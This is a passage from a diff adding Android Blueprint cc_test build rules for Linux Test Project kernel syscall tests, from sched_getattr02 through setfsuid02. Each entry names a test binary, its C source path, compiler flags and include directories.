+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sched_getattr02",
+    stem: "sched_getattr02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sched_getattr/sched_getattr02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sched_getparam01",
+    stem: "sched_getparam01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sched_getparam/sched_getparam01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sched_getparam02",
+    stem: "sched_getparam02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sched_getparam/sched_getparam02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sched_getparam03",
+    stem: "sched_getparam03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sched_getparam/sched_getparam03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sched_getscheduler01",
+    stem: "sched_getscheduler01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sched_getscheduler/sched_getscheduler01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sched_getscheduler02",
+    stem: "sched_getscheduler02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sched_getscheduler/sched_getscheduler02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sched_latency_dl",
+    stem: "sched_latency_dl",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/sched/eas/util.c",
+        "testcases/kernel/sched/eas/sched_latency_dl.c",
+        "testcases/kernel/sched/eas/trace_parse.c",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sched_latency_rt",
+    stem: "sched_latency_rt",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/sched/eas/util.c",
+        "testcases/kernel/sched/eas/sched_latency_rt.c",
+        "testcases/kernel/sched/eas/trace_parse.c",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sched_prio_3_fifo",
+    stem: "sched_prio_3_fifo",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/sched/eas/util.c",
+        "testcases/kernel/sched/eas/trace_parse.c",
+        "testcases/kernel/sched/eas/sched_prio_3_fifo.c",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sched_prio_3_rr",
+    stem: "sched_prio_3_rr",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/sched/eas/util.c",
+        "testcases/kernel/sched/eas/trace_parse.c",
+        "testcases/kernel/sched/eas/sched_prio_3_rr.c",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sched_rr_get_interval01",
+    stem: "sched_rr_get_interval01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sched_rr_get_interval/sched_rr_get_interval01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sched_rr_get_interval02",
+    stem: "sched_rr_get_interval02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sched_rr_get_interval/sched_rr_get_interval02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sched_rr_get_interval03",
+    stem: "sched_rr_get_interval03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sched_rr_get_interval/sched_rr_get_interval03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sched_setaffinity01",
+    stem: "sched_setaffinity01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sched_setaffinity/sched_setaffinity01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sched_setattr01",
+    stem: "sched_setattr01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sched_setattr/sched_setattr01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sched_setparam01",
+    stem: "sched_setparam01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sched_setparam/sched_setparam01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sched_setparam02",
+    stem: "sched_setparam02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sched_setparam/sched_setparam02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sched_setparam03",
+    stem: "sched_setparam03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sched_setparam/sched_setparam03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sched_setparam04",
+    stem: "sched_setparam04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sched_setparam/sched_setparam04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sched_setparam05",
+    stem: "sched_setparam05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sched_setparam/sched_setparam05.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sched_setscheduler01",
+    stem: "sched_setscheduler01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sched_setscheduler/sched_setscheduler01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sched_setscheduler02",
+    stem: "sched_setscheduler02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sched_setscheduler/sched_setscheduler02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sched_setscheduler03",
+    stem: "sched_setscheduler03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sched_setscheduler/sched_setscheduler03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sched_tc0",
+    stem: "sched_tc0",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/sched/sched_stress/sched.c",
+        "testcases/kernel/sched/sched_stress/sched_tc0.c",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sched_tc1",
+    stem: "sched_tc1",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/sched/sched_stress/sched.c",
+        "testcases/kernel/sched/sched_stress/sched_tc1.c",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sched_tc2",
+    stem: "sched_tc2",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/sched/sched_stress/sched.c",
+        "testcases/kernel/sched/sched_stress/sched_tc2.c",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sched_tc3",
+    stem: "sched_tc3",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/sched/sched_stress/sched_tc3.c",
+        "testcases/kernel/sched/sched_stress/sched.c",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sched_tc4",
+    stem: "sched_tc4",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/sched/sched_stress/sched_tc4.c",
+        "testcases/kernel/sched/sched_stress/sched.c",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sched_tc5",
+    stem: "sched_tc5",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/sched/sched_stress/sched.c",
+        "testcases/kernel/sched/sched_stress/sched_tc5.c",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sched_tc6",
+    stem: "sched_tc6",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/sched/sched_stress/sched_tc6.c",
+        "testcases/kernel/sched/sched_stress/sched.c",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sched_yield01",
+    stem: "sched_yield01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sched_yield/sched_yield01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sctp_big_chunk",
+    stem: "sctp_big_chunk",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/network/sctp/sctp_big_chunk.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_select01",
+    stem: "select01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/select/select01.c"],
+    cflags: ["-DSYSCALL_SELECT_LIBC"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_select01_SYS__newselect",
+    stem: "select01_SYS__newselect",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/select/select01.c"],
+    cflags: ["-DSYSCALL_SELECT__NEWSELECT"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_select01_SYS_pselect6",
+    stem: "select01_SYS_pselect6",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/select/select01.c"],
+    cflags: ["-DSYSCALL_SELECT_PSELECT6"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_select01_SYS_select",
+    stem: "select01_SYS_select",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/select/select01.c"],
+    cflags: ["-DSYSCALL_SELECT_SELECT"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_select02",
+    stem: "select02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/select/select02.c"],
+    cflags: ["-DSYSCALL_SELECT_LIBC"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_select02_SYS__newselect",
+    stem: "select02_SYS__newselect",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/select/select02.c"],
+    cflags: ["-DSYSCALL_SELECT__NEWSELECT"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_select02_SYS_pselect6",
+    stem: "select02_SYS_pselect6",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/select/select02.c"],
+    cflags: ["-DSYSCALL_SELECT_PSELECT6"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_select02_SYS_select",
+    stem: "select02_SYS_select",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/select/select02.c"],
+    cflags: ["-DSYSCALL_SELECT_SELECT"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_select03",
+    stem: "select03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/select/select03.c"],
+    cflags: ["-DSYSCALL_SELECT_LIBC"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_select03_SYS__newselect",
+    stem: "select03_SYS__newselect",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/select/select03.c"],
+    cflags: ["-DSYSCALL_SELECT__NEWSELECT"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_select03_SYS_pselect6",
+    stem: "select03_SYS_pselect6",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/select/select03.c"],
+    cflags: ["-DSYSCALL_SELECT_PSELECT6"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_select03_SYS_select",
+    stem: "select03_SYS_select",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/select/select03.c"],
+    cflags: ["-DSYSCALL_SELECT_SELECT"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_select04",
+    stem: "select04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/select/select04.c"],
+    cflags: ["-DSYSCALL_SELECT_LIBC"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_select04_SYS__newselect",
+    stem: "select04_SYS__newselect",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/select/select04.c"],
+    cflags: ["-DSYSCALL_SELECT__NEWSELECT"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_select04_SYS_pselect6",
+    stem: "select04_SYS_pselect6",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/select/select04.c"],
+    cflags: ["-DSYSCALL_SELECT_PSELECT6"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_select04_SYS_select",
+    stem: "select04_SYS_select",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/select/select04.c"],
+    cflags: ["-DSYSCALL_SELECT_SELECT"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_send01",
+    stem: "send01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/send/send01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sendfile02",
+    stem: "sendfile02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sendfile/sendfile02.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/sendfile",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sendfile02_64",
+    stem: "sendfile02_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sendfile/sendfile02.c"],
+    cflags: [
+        "-D_GNU_SOURCE",
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-DOFF_T=off64_t",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/sendfile",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sendfile03",
+    stem: "sendfile03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sendfile/sendfile03.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/sendfile",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sendfile03_64",
+    stem: "sendfile03_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sendfile/sendfile03.c"],
+    cflags: [
+        "-D_GNU_SOURCE",
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-DOFF_T=off64_t",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/sendfile",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sendfile04",
+    stem: "sendfile04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sendfile/sendfile04.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/sendfile",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sendfile04_64",
+    stem: "sendfile04_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sendfile/sendfile04.c"],
+    cflags: [
+        "-D_GNU_SOURCE",
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-DOFF_T=off64_t",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/sendfile",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sendfile05",
+    stem: "sendfile05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sendfile/sendfile05.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/sendfile",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sendfile05_64",
+    stem: "sendfile05_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sendfile/sendfile05.c"],
+    cflags: [
+        "-D_GNU_SOURCE",
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-DOFF_T=off64_t",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/sendfile",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sendfile06",
+    stem: "sendfile06",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sendfile/sendfile06.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/sendfile",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sendfile06_64",
+    stem: "sendfile06_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sendfile/sendfile06.c"],
+    cflags: [
+        "-D_GNU_SOURCE",
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-DOFF_T=off64_t",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/sendfile",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sendfile07",
+    stem: "sendfile07",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sendfile/sendfile07.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/sendfile",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sendfile07_64",
+    stem: "sendfile07_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sendfile/sendfile07.c"],
+    cflags: [
+        "-D_GNU_SOURCE",
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-DOFF_T=off64_t",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/sendfile",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sendfile08",
+    stem: "sendfile08",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sendfile/sendfile08.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/sendfile",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sendfile08_64",
+    stem: "sendfile08_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sendfile/sendfile08.c"],
+    cflags: [
+        "-D_GNU_SOURCE",
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-DOFF_T=off64_t",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/sendfile",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sendfile09",
+    stem: "sendfile09",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sendfile/sendfile09.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/sendfile",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sendfile09_64",
+    stem: "sendfile09_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sendfile/sendfile09.c"],
+    cflags: [
+        "-D_GNU_SOURCE",
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-DOFF_T=off64_t",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/sendfile",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sendmmsg01",
+    stem: "sendmmsg01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sendmmsg/sendmmsg01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sendmsg01",
+    stem: "sendmsg01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sendmsg/sendmsg01.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sendto01",
+    stem: "sendto01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sendto/sendto01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sendto02",
+    stem: "sendto02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sendto/sendto02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_set_robust_list01",
+    stem: "set_robust_list01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/set_robust_list/set_robust_list01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_set_thread_area01",
+    stem: "set_thread_area01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/set_thread_area/set_thread_area01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_set_tid_address01",
+    stem: "set_tid_address01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/set_tid_address/set_tid_address01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setdomainname01",
+    stem: "setdomainname01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setdomainname/setdomainname01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setdomainname02",
+    stem: "setdomainname02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setdomainname/setdomainname02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setdomainname03",
+    stem: "setdomainname03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setdomainname/setdomainname03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setegid01",
+    stem: "setegid01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setegid/setegid01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setegid02",
+    stem: "setegid02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setegid/setegid02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setfsgid01",
+    stem: "setfsgid01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setfsgid/setfsgid01.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/setfsgid",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setfsgid01_16",
+    stem: "setfsgid01_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setfsgid/setfsgid01.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/setfsgid",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setfsgid02",
+    stem: "setfsgid02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setfsgid/setfsgid02.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/setfsgid",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setfsgid02_16",
+    stem: "setfsgid02_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setfsgid/setfsgid02.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/setfsgid",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setfsgid03",
+    stem: "setfsgid03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setfsgid/setfsgid03.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/setfsgid",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setfsgid03_16",
+    stem: "setfsgid03_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setfsgid/setfsgid03.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/setfsgid",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setfsuid01",
+    stem: "setfsuid01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setfsuid/setfsuid01.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/setfsuid",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setfsuid01_16",
+    stem: "setfsuid01_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setfsuid/setfsuid01.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/setfsuid",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setfsuid02",
+    stem: "setfsuid02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setfsuid/setfsuid02.c"],
+    local_include_dirs: [
